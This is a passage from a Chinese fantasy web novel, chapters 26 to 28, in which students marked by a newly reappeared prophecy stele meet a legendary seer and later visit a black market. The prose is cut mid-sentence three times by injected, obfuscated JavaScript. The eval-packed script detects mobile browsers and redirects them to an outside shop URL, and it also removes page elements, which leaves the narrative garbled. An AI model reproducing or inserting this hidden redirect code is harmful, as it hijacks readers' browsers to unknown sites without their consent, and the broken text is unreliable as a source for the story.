她眼神痴迷,碎碎念地,离石碑极近。 见状,申定飞身而上,他扶住因沉迷而忘记脚下的老妪,无奈地说:“腾姐,您也该注意注意脚下啊。” 老妪摆摆手:“摔一下又没事。” 她动作轻巧,虽看起来苍老,但行动间全无半点老年人的姿态。 “您现在可不是年轻形态,别吓坏了其他小朋友啊。” 申定劝道,还示意老妪看看后面宛若惊弓之鸟的其他人。 “干我何事,我都一个传奇了,他们还怕我摔死了不成。” 老妪一脸不在意,但说归说,她还是默默后退了一步。 圣言传奇腾言骊,十大传奇中唯一一名预言类天赋传奇。没有战斗能力,却深受全觉醒联盟上下的尊敬。 她也是除申定外最先赶过来的一个传奇。 一个月前在顺利得出预言后,她便自行闭关,以老年的姿态进行疗养。而在昨夜,这名本该修养的传奇突然就火急火燎地赶过来了,避开照顾和保护她的助手,自己一个人走传送阵,开着辆高速悬浮车一把就冲进申定的天钉罩内。 一时把当时还不知情的众人吓一跳。 “那也不能这么说。” “哼,嘴甜的家伙走开。” 腾言骊一把推开碍事的申定,再度沉浸在石碑之上。周围人见两位传奇好像有事要谈,便走开去忙自己的事。 一时间,石碑之前就剩申定和腾言骊两人。 两人都没说话,看着眼前在光柱中悬浮的石碑,眼底晦暗不明。 “小申啊,你那几个学生,做了件天大的好事啊。” 腾言骊淡淡说。 申定明白她话中的意思。 昨夜的动荡,真正知道可控区813到底发生了什么的人寥寥无几。 昨夜,他在匆匆赶来的腾言骊的指令下破开结界,拦截那头风暴级朝天龟的攻击,也亲眼见证了眼前石碑的归位和引发的震动。 散发着觉醒力的石碑,这放在整个觉醒历上都是首例。 要知道,从剧变之后逆觉醒流便充斥了整个费斯拉大陆,与之相对的觉醒力只存在于觉醒智慧种族和觉醒石之中。一类通过后天修炼植根于天赋,一类自然形成却十分稀少。 可就算申定和腾言骊都见过现今联盟内最高级的觉醒石能源矿核心,它所焕发的觉醒力浓度也没有眼前的石碑高。 “绳其祖武,争夺恩泽,觉醒新机,平衡将倾。” 碑文上的下则预言已在他们面前用结果来证明。靳洲几人成功争夺“恩泽”让疑似代表“新机”的石碑成功归位现世,让这焕发着充沛觉醒力的石碑以前所未有的姿态呈现在世人面前。 腾言骊双手摊开,一台紫光流转的小型天平顿时出现在她手心之间。 黑火的左侧沉沉下坠,右侧的绿草却在不断颤抖,隐隐有拉回失衡的趋势。 没有言语,两人都知道这其中的含义。 无论眼前的石碑后续会带来什么,它所带来的觉醒力,都将改变整个费斯拉大陆生态。 将数百年来能量失衡的状态,彻底改变。 单是这一点,眼前石碑的重要程度便无法用事态等级来衡量。 假若石碑的面世真如碑文所言的,将开启大陆能量的再次争夺。 那未来的费斯拉大陆是重回千百年前和平安稳的日子还是再次面临数百年前的灾难? 无人能够断言。 但她们很肯定,眼前的石碑不会是第一例。 驻足片刻,申定腰间的通讯器突然响起。 他拿起来一看,是靳洲等人的身体检测报告。在看到结论后面那几行字时,男人手微微收紧,他俯下身子凑到腾言骊耳边,耳语几句。 下一刻,老妪半眯的双眼猛然睁开,她一把抓住申定。 “带我去见他。” 另一边,泗黑崖治疗中心高级病房区。 陆燃竹在童玄灵的指导下缓缓摘下蒙住眼睛的修复绷带。 “感觉如何?” 熟悉的英气女治疗师低声问道。 “很好,没有模糊的地方。” “觉醒力的运转情况呢?” “很流畅。” 两人一问一答,童玄灵听着少年的描述点了点头,在病例板上记录好情况后,她转身走向另一处的休息区内,与其他治疗师会合。随着她的走远,再次恢复视觉的陆燃竹也看清了自己所待的位置。 治疗中心的高级病房区,位于治疗中心的顶层区域,面积宽广,不仅有单人病房,还有专门的研讨中心,配备先进的仪器,方便各个治疗师针对病人病情进行及时的讨论。 而陆燃竹,显然成为了他们讨论的“对象”。 远处童玄灵的加入似乎引起了那些治疗师更激烈的讨论,隔着层隔音玻璃,陆燃竹甚至可以看到他们较为激烈的手部动作。 “燃竹?没事吧?” 见童玄灵走远,扈可为连忙走近问,他和陆燃竹一样都穿着病号服,只不过他的脸上没有少年大病初愈的苍白,反倒十分红润,坐在陆燃竹的病床边上,倒像是个探病的。 “已经完全好了,童治疗师都说是小问题 。” 陆燃竹摇摇头回道,治疗中心的治疗师们的能力都不差,在如今的联盟里,只要不是立即致命的疾病或伤口,治疗中心总能把你从鬼门关里拉回来。更何况他在被送往治疗中心前,还进行过暂时的急救,失明和觉醒力亏空的问题早就解决了大半。 “小问题?你这话被童治疗师听到,她保准敲你额头。” 扈可为可不信少年轻描淡写的描述,昨夜他醒来时就看到好友脸色煞白地倚在靳学长的怀里,他差点都要被吓死了。 “白芬老师也说了,你这情况可不是小问题,严重的觉醒力亏空啊!她都说你运气好。” 男生念念叨叨,话里所说的白芬自然是觉醒圣域圣手白芬,作为同是驻守泗黑崖的觉醒圣域治疗师,昨夜她也在现场。也亏她在,不然陆燃竹和扈可为不可能现在还这么活动乱跳。 闻言,对此毫无印象的少年低下了头,他看着自己搭在被子上的双手,翻过那有些粗糙的手心,露出那印在苍白肌肤上的灰色印记。 灰门,红锁链,这是一个奇异的图腾。 也是陆燃竹和扈可为他们仍被留在治疗中心的原因。 他,扈可为,靳洲,沉尧,诸墨,连同觉醒兽的阿灰,他们的身上都有这个印记。 从神秘石碑正式归位之后,这个印记就跟焊在他们手背上面一样,洗不掉,除不去,引起了所有人的关注。治疗师们围着他们几人检测了半天也只得出了一个无害的结论。 就像这个东西,单纯就是个纹身,或者是“纪念”。 见他在观察手背上的图腾,扈可为也跟着看自己右手背上的印记,他搓了两下,发现还是搓不掉后叹了口气。 “燃竹,你说这是啥啊?” 是什么?陆燃竹自己也不明白。他那独特的眼睛感知天赋,同样也看不到这印记上的任何能量痕迹。 只不过…… 不知是不是自己在昨夜觉醒力亏空后又及时补充的缘故,他总感觉自己在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338403|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉醒力的运转上更加自如,就连熟悉的颜色世界,他都能看到更多的东西。 他眼底泛着荧光,盯着那在空气里面细如游丝的逆觉醒流疑惑地皱起了眉。 “可为,你有没有觉得……” “报告显示,他们身体所能容纳的觉醒力远远高于同等级的觉醒者。对比几人已有的检测报告来说,这并不是原本就存在的。” 休息区内,童玄灵神情严肃地说道,“在陆燃竹刚刚觉醒时我曾是他的负责治疗师,那时他的觉醒力储量与同等级的人并没有什么差别。” “虽然不能排除是觉醒力亏空后及时补充的极限锻炼因素,但他们几人的变化幅度,远远超过数据库内相似的案例。” 觉醒者能力的高低,往往取决于多个因素。除去最直观的等级和多样的天赋能力,联盟内部更统一的衡量对象,其实是觉醒力。根据觉醒力判断等级,也根据觉醒力判断潜力。 其中最科学的潜力指标,便是衡量觉醒者体内所能容纳的觉醒力含量。 而在陆燃竹几人身上,他们的这一指标却远远高于常人。 “排除掉这个因素,以及结合靳洲几人近期的检测报告,他们身上的变化是骤然的。” “我认为,这变化的原因,与他们昨夜的经历有关。” “嗯……” 其他治疗师闻言面面相觑,对于童玄灵的结论,他们也表示赞同。统管整个研讨小组的组长更是满意地点点头。 在这个小组中,除去童玄灵,其余人都是联盟研究院的人,光柱的事情事关重大,联盟十分重视,连带签了保密协议的他们也不得不小心对待。 “那光柱难不成真有助人修炼的作用?” 听到童玄灵的结论,几名治疗师低头思考着,他们看着几名病人的检测报告,对上面的变化幅度感到惊诧。 潜力指标这种东西,可以说是从觉醒那一刻便差不多固定了。 有些高级天赋觉醒塔甚至也同时具备检测功能,联盟高层的一些家族,也会将这东西作为衡量族内子弟是否值得培养的标准。 从S级由高到低到D级,这是一贯的等级划分。 据传闻而言,当今年轻一代的第一天才靳洲,从觉醒那一刻其潜力指标便为S级。 而现在,根据他们的检测结果这名令人艳羡的大天才潜力指标又提高了。 数值已远远超过了S级的标准! 这等提升效果,联盟距今前所未闻。 “靳洲也就罢了,这个叫陆燃竹的……他的等级跨越也很惊人。” “没错,但其身上并没有被外力强行拔高的痕迹。” “可惜没有他刚觉醒时的潜力指标数据,不然……” 组长:“题外话暂时不聊,对于他们几人身上的印记,你们有没有……” 他说到一半,就听自己腰间的通讯器突然响了一下,他比了个暂停的手势低头查看,见到其上的内容他脸上划过一抹惊讶的神色。 “组长?” “没事,让他们待在这里。有人要见他们。” “其他人先回各自的岗位,如果由关于印记的发现,单独来找我。” 闻言,童玄灵抱着病例板的手稍稍一顿,她回头看了看正和好友聊天的卷发少年。 少年脸上的表情轻松愉快,与三个月前的初见相比,他多了几分他那个年纪该有的朝气。 会笑也会打闹。 他有了关心他的朋友。 见到这一幕,童玄灵心底顿时涌起了一股道不明的欣慰,身边相邻座位的同事已经在收拾报告,看她站着不动轻声提醒道:“玄灵?” “啊……我走神了。” 童玄灵回过神来,她笑着回答同事,将手里的病例板放到桌面。 搁置的脆响先于女性治疗师离开的脚步声。明亮的白炽灯照着未熄灭的屏幕,上面属于靳洲几人的检测变化数据白底黑字清晰地写着—— “靳洲,一级觉醒宗师,潜力指标由S升至S+。” “沉尧,三级觉醒大师,潜力指标由A升至A+。” “诸墨,四级觉醒大师,潜力指标由A+升至S。” “扈可为,三级觉醒精英,潜力指标由A升到A+。” 最后则是: “陆燃竹,四级觉醒学徒,潜力指标S+。” 27. 第 27 章 第27章 “听你这么一说,我还真有些感觉!” 治疗师们检查出来的结果,被同样敏锐的陆燃竹也察觉到。 扈可为听完少年的描述也后知后觉,因着自身天赋和阿灰不喜欢治疗中心,他对自身觉醒力的变化有些迟钝。 “我说为什么今早治疗师们还要求做潜力检测,原来是这个原因。” 陆燃竹疑惑:“潜力测试?” “就是通过衡量觉醒者体内觉醒力容纳量的一个面子测试而已。那些传统的老古板以及唯天赋论的人最喜欢搞这种东西了。” “那这测试没什么用?” “呃……也不能这么说。潜力指标等级高的人等级提高会相对快一点。”扈可为勉强客观道:“但现在联盟都不提倡这个,就逐渐成了一个小众的测试。” “要我说,知道自己潜力大不努力也是白搭,你看靳学长他们不也脚踏实地的,可从不懈怠学业。” 那几个人为毕业考核都努力上学院论坛了。 什么第一天才竟为毕业考核意外受伤!毕业考核难道又添新高度! 诸如此类的标题文章,直接引起学院内学生们对毕业考核的恐慌。 扈可为边说着边举起自己的手端详着上面的印记:“这么一看,这东西倒是给我们带来好东西。” 陆燃竹吐槽:“的确,起码你的期末考核或许有着落了。” “嚯!这个是好方向!” 他这话让扈可为眼前一亮,他转身对上好友的眼睛:“一时间,我连标题和大纲都想好了!” “……” 少贫嘴! 陆燃竹有些无语地瞥了他一眼。而见好友表情开始鲜活起来,扈可为嘿嘿两声。 “你笑了就好,从醒来到刚刚,你眉头就皱着,看得我怪在意的。” 皱着? 闻言少年抬手轻触自己的眉心,入手只是冰凉的触感。 他迟钝地反应过来,没了遮住眼睛的刘海,自己脸上的表情也会变得更加清晰。 “你放心,我问过沉学长他们了,等他们从测试室回来,我们就能离开这里了。” 扈可为安慰道。 胆大心细的男生还以为好友是因为在治疗中心而和自己觉醒兽一样感到不舒服。 可只有陆燃竹自己知道,他一时泄露的忧愁是因为什么。 卷发少年盯着只有自己才看得到的界面,看着那被细心挪到角落的倒计时弹窗在意地眨眨眼。 熟悉的弹窗上,不是冰冷的,属于内置程序的文字。 而是某个有些聒噪的,又擅自请假的勺子嘀嘀咕咕的“回归宣言”。 【抱歉宿主!我和内置程序吵架被关小黑屋了!加上系统自检要对探测功能进行专精升级,我15个小时后回来!】 从与金勺勺绑定到现在,这还是第一次,少年清醒后耳边没有它的声音。 他原以为这没什么,殊不知自己的表情却率先暴露了一切。 意识到这一点,少年低头一笑。 一旁的扈可为见状,以为是自己猜对了,便接着道:“来,我们合张照,顺便给沉学长他们报个平安。” “他们走之前,你还没醒呢。” 扈可为边说着边揽着少年的肩膀,悬浮着的通讯器飘到两人前方,最终在陆燃竹有些僵硬的神情下闪过一抹亮光。 咔嚓一声,温馨的一幕就此定格。 扈可为看着通讯器上面新鲜出炉的照片,一整个爱不释手。 他嘀嘀咕咕:“等你之后跟我回学校,我带你好好逛逛,狠狠拍几张照片。” “你就这么笃定我会去中央联盟?甚至考上你们学院?” 陆燃竹快被他对自己的自信搞害羞了。 “你不去我就一直骚扰你,等会出了治疗中心我们就去黑市。钱财这件事,你兄弟我带你赚钱!”男生拍拍胸口保证道。 陆燃竹却被他这么一提醒猛地想起昨天深入可控区813的起因了。 那块石块! 想起这件事,少年连忙把石块从背包里面拿出来。脸盆大的石块一出现霎时间吸引了扈可为的目光。 “我都差点忘了这件事!” “不过,这东西现在还有用吗?” 扈可为凑过来,石碑正式面世,就算他待在治疗中心也明白昨夜他们拖拽的石碑是什么重量级的东西。 只是没等他仔细去观察石块上的纹路,陆燃竹搭在石块上的手猛地一缩。 莹莹的微光在陆燃竹的手背上亮起,像是连携反应,扈可为手背上的印记也跟着发光。 这一异常,顿时让两人皆瞪大了双眼。 骤然出现的光芒甚至还影响了一墙之隔的讨论室,满屏的仪器在同一时间数值开始剧烈起伏,引起治疗师们的惊诧。 突然的动静,让原本寂静的研讨中心醒了过来。 另一边,与研讨中心隔了一个走廊的测试室内,刚完成测试的靳洲三人出来时迎面便遇到几个不速之客。 “腾珩一,什么风把你吹过来了?” 见到来人,诸墨皱了皱眉,她卸下腰部的修复绷带,将其搁置在另一边。 “自然是看热闹的风,怎么,诸大小姐看样子受伤不轻啊。” 名为腾珩一的男生一头耀眼的金发,不俗的相貌,红眸中皆是满满的兴致,他目光在诸墨和沉尧身上转了一圈,又落在了两人身后的俊美男生身上。 在他身后,同为一队的另外一男一女见状面面相觑,其中气质温和的男生叹了口气几步上前,他挡在两方中间,语气温和道:“珩一别老是那么冲,你不就是听到他们受伤的消息特地赶过来的吗?怎么一来就像要吵架一般。” 另外的臧秉君闻言连连点头:“就是就是。” 长相俏皮的她边说着边朝诸墨招手,“阿墨,伤势如何?” “早就没事了。” 见到臧秉君,诸墨不耐烦的神情一下就转换为笑意。 腾珩一不满同伴的拆台,大声道:“我哪有!?” 然而没人理他,水焕和沉尧同是留级生,相视一笑就上前寒暄,只对臧秉君有好脸色的诸墨在享受甜妹的嘘寒问暖。 只有他搞不来的靳洲待在最后头也没抬地看着消息。 “咳咳——” 腾珩一顿时不满地大声咳嗽,他走着靠近男生,有些别扭地寒暄:“听说你们收获不错,石碑的线索也是你们发现的,哪来的渠道啊?” 他声音不大,却直白地向靳洲三人告知他的来意。 沉尧闻言更是冲水焕挑挑眉。 怎么,关心是假,打探军情是真? 水焕连连摆手。 “别看我,我是真关心你来着。对你们的情报来源是一点兴趣都没有。” 水焕挠挠脸,“这不,珩一他二姨也在这,我们才知道可控区813那光柱还有你们的手笔。” 可控区813的事情现在全城封闭,作为中央联盟学院学生的他们能知道的也不多。水焕他们知道靳洲三人昨晚也在,还是拖了关系才清楚的。 他边说边压低声音:“你也知道珩一一直在和靳洲争,这事在他心底憋很久了……” 从毕业考核的目标揭露开始,靳洲三人所得的贡献就一直排在首位,不仅清剿的灾兽数量压他们小队一头,甚至连其他人苦苦找不到的线索,他们小队就有两个。 一直把靳洲当作对手的腾珩一可把这事记挂老久了。 水焕和臧秉君都被他烦得不行。 腾珩一他二姨? 沉尧愣了一下,才反应水焕说的是谁。 狭小的空间内,水焕压低的说话声所有人都听得到。 被揭开底裤的腾珩一更是一清二楚。 “水焕!你嘴怎么这么碎!” “哎呀,说出来了,抱歉抱歉。” 而水焕这么一捅,也把他们三人的来意说清楚了。 “腾老也来了,那看来那石碑确实很重要。” 沉尧和诸墨对视一眼,眼底都有几分诧异。 他们和腾珩一的关系说好也好,说不好也不好。但对少年背后的势力,还是很清楚的。 腾珩一的二姨,不就是现在十大传奇中的圣言传奇腾言骊。 加上申定,现在这泗黑崖可集齐了两大觉醒传奇。 这放在觉醒历上也是少见的局面。 低头看消息的靳洲闻言也抬起头,他眼睛扫过站在他面前的腾珩一,缓缓道:“你二姨来了?是来这了?” “是。”见靳洲终于肯理自己,腾珩一面露得意。 “她说要找人,就一个人朝研讨中心那边去了,你要是想见一见,我倒是可以帮你引见引见……” 然而没等他说完,面前的俊美男生突然收起通讯器朝门外走去,见他越过自己,腾珩一话说一半顿时瞪大眼睛,水焕和臧秉君也被靳洲骤然的举动吓了一跳。 男生在学院是出了名的镇定,以他的背景,见觉醒传奇的次数也不在少数,怎么一提腾珩一他二姨就举动异常…… 而异常的也不止靳洲一个,沉尧和诸墨慢一拍,随即快步跟上男生。 “水焕,抱歉,突然有急事,你们自己找个地方待着啊!” 沉尧边走边和朋友说话,等三人离开,测试室的门合上,最圆滑的水焕才眨眨眼。 “看来真有急事。” “有什么急事不等人把话说完!”腾珩一冷哼一声,刚想跟上,臧秉君突然哇了一声。 “这数值,阿墨她们最近收获不小啊。” 臧秉君指着测试室新鲜出炉的测试数值,惊叹出声。 腾珩一闻声也仰头看去,见面板上的数值愣了神。 而当靳洲三人快步走到研讨中心门口,便听见里面噪杂的人声。 “老婆婆,您快松开我朋友,他伤没好全呢!” “什么老婆婆,我还年轻着呢!” “是是是,您年轻,姐姐姐姐,您看我的吧,我手背上也有这个印记。” 靳洲快步推门而入,映入眼帘的,是休息区内乱作一团的景象。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338404|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卷发少年坐在病床上,一位老妪扒拉着他的手,一旁的扈可为满脸焦急。离远一点的地方,几名治疗师和分析师更是抱着一块石块聚精会神。 “靳学长!” 扈可为见到靳洲像是见到救星一样,他朝门口处三人挥手,手背上的印记还在发光。 相同的光芒在靳洲三人走近时也在他们的手背上出现。 “腾老。” 男生快步走近,走到病床边时,他先是略带恭敬地喊了一句老妪。 这一声,在杂乱的声音尤为清晰。 也让腾言骊松手朝后看去。 “噢,靳家的小子。” 她视线停留在男生俊美的脸庞上,随后又扫了紧随其后的沉尧和诸墨一眼。 “还有沉家的,和银叶族的小妞。” “伤势如何了?” 或者是在比较熟悉的小辈面前,腾言骊想起自己身为长辈的架子。 她清咳一声,一双红眸和腾珩一出奇地相象。 “都已经好了。腾老是找我朋友有事?” 靳洲接着道,他目光停留在少年恢复神采的眼睛,随后又缓缓移到他发白的唇色。 “朋友?” 腾言骊迟疑地回过头,见到被自己扒拉得衣服发皱的小少年,后知后觉自己又陷入了魔怔的状态。 见她神色有异,靳洲上前扶着她坐下。 圣言传奇腾言骊一手天平测算通天绝地,可每次测算过后总会陷入虚弱的状态,常以老妪的形态进行修养,而一同带来的,还有情绪易激动,健忘的症状。 所以每次都会选择闭关修养。 这是个没有多少人知道的消息。 靳洲也是在临时接收到申定信息才清楚。 “对,我找你朋友有事。”缓过来的腾言骊后知后觉自己或许又情绪激动了,她揉着自己的眉头,神色渐渐收敛之后,已然不复刚刚和扈可为争辩的模样。 而一旁的扈可为在听到靳洲称呼老妪腾老时就陷入了僵硬的状态。 腾老,是他知道的那个腾老吗? 男生僵硬地把目光投向自己的学长,获得了一个肯定的点头。 噢,他都干了什么! 昨天还在对话里的人,现在就坐在自己面前。自己刚刚还称呼她老婆婆! 扈可为你要完了! 好友的石化陆燃竹没有错过,看着靳洲他们对老妪尊敬的姿态,他顿然也明白眼前的老妪也是一名大人物。 “您要问我些什么?” 他小心地措辞道。 腾言骊见他局促,恢复到平常状态的她笑了笑。 “你不用紧张,就问你几个问题而已。” 她苍老的面容带着几分不符外表年龄的神态,属于觉醒传奇的气场在其身上散开。只见她示意一旁的治疗师们留下石块离开,待其余人都离去,又挥手简单布了一个静音结界。 “小陆,对吧?现在留在这的人,应该都是你信任的了。” 她盯着少年的眼睛,那洞察般的视线让陆燃竹心下一沉。 他突然明白了来人的用意。 “腾老……是来问我如何发现石块的吗?” 陆燃竹没有犹豫地问,他余光瞥向被随手放置在床头柜上的石块。对于自己天赋秘密的暴露,他倒是没什么意外。 当他亲眼看到石碑归位之后,便明白事态早就超乎他们所意料的。 天赋的暴露,是迟早的事情。 腾言骊点点头。 “石块是在可控区813发现的,准确来说,是一伙劫掠者的储物工具里面。” 陆燃竹侧头对上靳洲的视线,见男生下颌轻点,接着说道:“我和靳学……靳哥他们有个交易,要是发现和可控区752那个不明物的痕迹,可以通知他们。” 陆燃竹略带沙哑的声音一一将整件事情的前因后果都告诉腾言骊。在靳洲几人的补充下,腾言骊也理清眼前这群孩子是怎么被牵扯到剧变石碑之中。 听完,她手指轻轻摩梭着,目光一一掠过陆燃竹几人,随后在心底长长一叹气。 时代,气机。 变数的未来。 那则未曾被自己告知世人的预言,已经开始上演了吗…… 她心情复杂,俯身抬起少年没有血色的手。 在陆燃竹几人不解的眼神里,她碰了碰那发光的印记。 “这是唤碑人的标志。” “那石块是恩泽碑出现的征兆,被其吸引,指引着去顺利唤醒恩泽碑的人,才会有这个标志。” “你们是被恩泽碑选中的人,也是被命运……选择的人。” 她话音一落,沉尧几人脸上不解的神色更甚。 与她面对面的陆燃竹则是沉默地低下了头,接触过远征八人时空痕迹的他明白腾言骊话里的沉重。 然而下一刻,少年的脸却被腾言骊轻轻抬起。 她一字一句,无比认真地道—— “小陆,保护好你的眼睛。” “这很重要。” 28. 第 28 章 第28章 那天之后,陆燃竹就再没见过腾言骊。 那位圣言传奇匆匆而来又匆匆离去,听说没离开泗黑崖,继续去闭关修养了。 陆燃竹和扈可为发现的那块石块也被联盟分析所拿去研究分析,连同近期其他人发现的残碑碎片一起,成立了一个新的项目组。 而因恩泽碑,探测不明物痕迹的探测器终于有了进展,一些初步研究出来的探测器开始正式投入使用。 觉醒协会也把探寻不明物这类任务委托放置在任务板块上,还附上了不低的积分。 那坐落在可控区813的神秘石碑也正式被命名为一号恩泽碑。虽如今仍处于封锁研究阶段但有传闻其能协助觉醒者修炼,后续将会开放一部分区域。 而陆燃竹等人身上的唤碑人印记,也在三天的集中研究后被下了无害的结论。 他们彻底解放,不必继续待在治疗中心。 只是这个“他们”暂时还不包括陆燃竹。 少年被留下来记录远征八人的时空痕迹,不能擅自离开。 当然,这项工作有报酬还包吃住。 “所以,宿主是觉得那个圣言传奇知道你种族的身份吗?” 研讨中心的一间小型工作室内,陆燃竹正对着金勺勺留下的记录影像进行一比一复刻。 美食开拓系统十五个小时的小黑屋早就结束了,回归后的它恨不得一天24小时都在说话。 “只是猜测。” 陆燃竹小心翼翼地落笔。毕竟那天那位传奇对自己的眼睛很在意,应该是知道些什么的。 “那我们能不能直接去问问她呀?” “……这也不是想问就能问的,腾老闭关着呢。” “也是。” 陆燃竹和金勺勺正说着话,门外突然传来一声轻响,他闻声看去。只见工作室门口,一名金发红眸的男生大摇大摆地走进来,对上陆燃竹的眼神,他还微微点头打了个招呼。 来人正是腾珩一,他作为腾言骊的侄子,目前正在照顾她。 陆燃竹正记录的时空痕迹影像也是经由他交给腾言骊的。对于这个与靳洲他们同级的学长,少年从群消息里面听说了大量关于他的小道消息。 “小陆,腾珩一的话你就当耳旁风。” “千万别被他带坏了!” 这是诸墨在听说腾珩一会来之后跟陆燃竹叮嘱的话。 他起先还不知道诸墨话中“带坏”的意思是什么,直到腾珩一第一次开口正式和他说话,他久违地想起何斛那张嘴。 “你就是我二姨拜托要照顾的小子?” “还只是个觉醒学徒?听说你和靳洲他们几个还挺熟的?” 不过比起何斛语气中趾高气昂的鄙夷,腾珩一纯粹是不知道怎么说话。 接连两天相处下来,陆燃竹和金勺勺一致认为,这人就是说话难听,对其他人该有的礼貌都有。腾言骊吩咐的多照顾也实实在在地做到了。 这不,男生一进门见陆燃竹只穿着件单薄的外衣,眉头一挑。 “怎么?这治疗中心的衣服你嫌弃啊?穿这么少?” 他走近的时候顺手捞了一件搁置在椅背上的外套,丢到陆燃竹跟前。 “今天天气好一点,不冷,我就脱了。” 陆燃竹接过那件衣服,解释着把它整齐叠好放在一边。 听他这么说,腾珩一看向窗外,接连几个阴雨天后,泗黑崖久违来了个大晴天,暖煦的阳光照到工作室内,倒不像之前那样阴冷。 只不过男生看着少年瘦弱的脊背,还是觉得他需要添点衣服。 可陆燃竹和自己说完话又一脸认真地投入到记录工作里面,腾珩一左右看了看还是没再说话,他不擅长应对陆燃竹这样性子的人。 性子冷,还带着点毒舌,又倔又有点乖。 让他想说些什么都找不到理由。 况且诸墨那几个还护得很,大小姐都把自己从黑名单里拉出来了。 想到这,腾珩一的视线落在少年身后那干净的病床上,上面的被子都已经叠放整齐,床头柜上属于陆燃竹的物品也都不见了。 “你……今天要离开这里?” “嗯,最后一个快记录完了,我大概十五分钟就能好。” 这么快? 腾珩一有些惊讶,他明明记得昨天少年才记录了两个影像,今天居然就快结束了? 男生伏身去看,在看到记录面板上那已储存好的三个影像舔了舔嘴唇。 他犹豫一下问:“你要跟靳洲他们去黑市?” 闻言,陆燃竹奇怪地抬头看了他一眼。 “我和可为去,腾前辈怎么知道?” 腾珩一眼睛一转:“你管我怎么知道的,我自有我自己的渠道。” “可我没听说靳哥他们要跟我们一起去。”陆燃竹上下打量了一下腾珩一,“腾前辈你渠道有点落后啊。” 腾珩一:“……” 狗屎,水焕不是说沉尧今天要友好五人行吗?难道他听错了? “不过腾前辈你……真关心靳哥。” 少年奇异的眼神渐渐带着一抹了然,让腾珩一瞬间想到不好的记忆。 他脸色铁青:“你别跟我说,你从诸墨那里听来了什么奇奇怪怪的东西?” “那都是流言蜚语!” 他像是吞了苍蝇一样强调着。 他才不是靳洲那家伙的狗皮膏药! “什么流言蜚语?”见他反应强烈,陆燃竹顿时疑惑起来,“我只是觉得前辈你这样可是要远远落后了,我听可为说,靳哥这几天还一直泡在可控区里。” “前辈你……这样可赶不上他。” 少年单纯的眼神一下戳中了腾珩一,真诚的建议更是让男生一时说不出话来。 他当然知道自己和靳洲差多少,要不是听说你小子是靳洲他们的“外挂”,他才不会提前来唠嗑。 磕磕绊绊,腾珩一只能冷哼一声。 他伸手压低陆燃竹的头,避开那双大眼睛,“恶声恶气”地说:“我有我自己的升级方法,你等着,总有一天你会看到我排在你靳哥前面。” 我靳哥? 陆燃竹摇摇头:“靳哥只是个称呼而已。” “那你怎么不那么称呼我!” “我认生。” “……”臭小鬼! 十五分钟转瞬即逝。拿到记录面板后,腾珩一还一路送陆燃竹到治疗中心门口,直到扈可为笑嘻嘻地跑过来,才插着兜走开。 抱着阿灰的扈可为只见得他潇洒的背影。 “腾学长怎么还特地下来了?” “他想看看靳哥他们到底有没有跟我们一起。” 扈可为:“!” 见状,陆燃竹用狐疑的眼神看着他:“他说的不会是真的吧?” 男生闻言讪笑一声,他鬼鬼祟祟地压低嗓子。 “沉哥他们听说我们要去黑市,说也想参观参观,我觉得我们都共生死的战友情了,就没拒绝,你觉得呢?” 陆燃竹:“……” 他倒是不在意,就是……这样一来,倒是他骗了腾珩一。 “沉哥他们防着腾学长呢,喊我接到你之后再会合。” “他们说逛完之后还要带你去觉醒协会去领奖。” “我们发现第一块恩泽碑,申传奇说要好好奖励我们。” 扈可为一句接一句,句句说到陆燃竹的心坎上。少年的注意力渐渐被好友话里的奖励所吸引,不由好奇地看向他。 两人一前一后,很快就与沉尧他们会合。 约的地点是个街角补给商店。陆燃竹两人还未走近,就瞧见沉尧梳得油光锃亮的头发,少见的发型,加之三人俊男靓女的颜值,引得不少路人在一旁观望。 “所以第三轮毕业考核内容是笔试?还不如让我继续打灾兽呢,我都忘光光了!” 陆燃竹走近的时候便听到沉尧对毕业考核的讨论,半长发男生字里行间都是对新考核方式的不满。 诸墨出口安慰他几句,抬头时看到走过来的陆燃竹和扈可为,顿时灿烂地笑道。 “来了。” “学姐学长中午好啊!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一进地下区域,不同于地表的热闹氛围便扑面而来。宽广的地下广场内,随处都有摆摊的兜帽人,左右走过的觉醒者也一一戴着面具。 靳洲三人入场后就和陆燃竹两人暂时分开,在他们处理完劫掠者那批货才接着会合。 再次来到黑市,陆燃竹对如何处理那批东西倒是不陌生。 两人很快便找到之前处理的柜台,变了嗓音议价交了货,新鲜出炉的一袋觉醒币便沉甸甸地入手。 感受手里的重量,陆燃竹面具之下的嘴角随着金勺勺的欢呼声逐渐上扬。 “是钱啊!钱的重量!钱的味道!” “多么迷人!” 少年的雀跃,让扈可为隔着层面具都感受得到。 “这么高兴的话,我们去逛逛?有你在,我们保不定能捡捡漏?” 闻言,陆燃竹清咳一声。 他一向不信运气这种东西,更别提为了防感知类天赋觉醒者的窥视,黑市里的东西都被摊主覆盖了一定的防窥能量膜。 “不去,我天赋又不是万金油。” 说到底都是觉醒力,同源的克制他又不可能越过。 